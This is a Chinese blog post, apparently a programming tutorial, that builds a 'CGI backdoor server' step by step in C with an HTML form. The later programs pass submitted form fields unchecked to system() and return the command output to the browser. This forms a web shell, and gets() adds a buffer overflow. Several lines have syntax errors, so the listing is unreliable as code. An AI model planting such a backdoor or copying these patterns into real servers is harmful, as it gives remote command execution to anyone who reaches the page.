CGI后门服务器开发

  1 /* 服务器开发 */
  2 
  3 #include<stdio.h>
  4 #include<stdlib.h>
  5 #include<time.h>
  6 // 重定向输出
  7 // 输入
  8 void main()
  9 {
 10     printf("Content-type:text/html\n\n");
 11     
 12     for (int i=0;i<100;i++)
 13     {
 14         //printf("锄禾日当午");
 15         printf("锄禾日当午<br><br>");
 16     }
 17 }
 18 
 19 //-------------------------------------------------------------------
 20 
 21 <html>        
 22     <body>                                                    // http://127.0.0.1
 23         <form id="form" name="form" method="post" action="..//cgi-bin/run.cgi">// 相对路径
 24             <input type="text" name="cmd1" id="user" value="请进"/>
 25             <input type="text" name="cmd2" id="pass" value="请进入"/>
 26             
 27             <input type="submit" name="go" id="run" value="进入"/>
 28 
 29 
 30         </form>
 31     </body>
 32 </html>
 33 
 34 //-------------------------------------------------------------------
 35 
 36 void main()
 37 {
 38     printf("Content-type:text/html\n\n");
 39     char szpost[256]={0};
 40     gets(szpost);
 41     printf("%s",szpost);
 42 }
 43 //-------------------------------------------------------------------
 44 
 45 void main()
 46 {
 47     printf("Content-type:text/html\n\n");
 48     char szpost[256]={0};
 49     gets(szpost);
 50     printf("%s",szpost);
 51 
 52     char *p1 = strchr(szpost,'&');// 查找字符
 53     if (*p1 != NULL)
 54     {
 55         *p1 = '\0';
 56     }
 57     printf("<br>%s",szpost+5);
 58 
 59     //system(szpost+5);
 60     char cmd[256]={0};
 61     
 62     time_t ts;
 63     unsigned data = time(&ts);
 64     srand(&ts);
 65     int num = rand();
 66     sprintf(cmd,"%s">%d.txt,szpost+5,num);
 67     //sprintf(cmd,"%s">1.txt,szpost+5);
 68     char filename[100]={0};
 69     sprintf(filename,"%d.txt",num);
 70     system(cmd);
 71     FILE *pf = fopen(filename,"r");
 72     while (!feof(pf))// 只要文件不为空读取所有字符
 73     {
 74         char ch = fgetc(pf)
 75         if(ch=='\n')
 76         {
 77             printf("<br>");
 78         }
 79         else
 80         {
 81             putchar(ch);
 82         }
 83 
 84     }
 85     fclose(pf);
 86 
 87 }
 88 
 89 //-------------------------------------------------------------------
 90 
 91 void main()
 92 {
 93     printf("Content-type:text/html\n\n");
 94     char szpost[256]={0};
 95     gets(szpost);
 96     printf("%s",szpost);
 97 
 98     char *p1 = strchr(szpost,'&');// 查找字符
 99     if (*p1 != NULL)
100     {
101         *p1 = '\0';
102     }
103     printf("<br>%s",szpost+5);
104     char *p2 = strchr(p1+1,'&');
105     if (*p2 != NULL)
106     {
107         *p2 = '\0';
108     }
109     printf("<br>%s",p1+6);
110     //system(szpost+5);
111     char cmd[256]={0};
112     
113     time_t ts;
114     unsigned data = time(&ts);
115     srand(&ts);
116     int num = rand();
117     sprintf(cmd,"%s %s">%d.txt,szpost+5,p1+6,num);
118     //sprintf(cmd,"%s">1.txt,szpost+5);
119     char filename[100]={0};
120     sprintf(filename,"%d.txt",num);
121     system(cmd);
122     FILE *pf = fopen(filename,"r");
123     while (!feof(pf))// 只要文件不为空读取所有字符
124     {
125         char ch = fgetc(pf)
126         if(ch=='\n')
127         {
128             printf("<br>");
129         }
130         else
131         {
132             putchar(ch);
133         }
134 
135     }
136     fclose(pf);
137 
138 
139 
140 }

 

posted on 2015-06-17 15:49  Dragon-wuxl  阅读(284)  评论(0)    收藏  举报

导航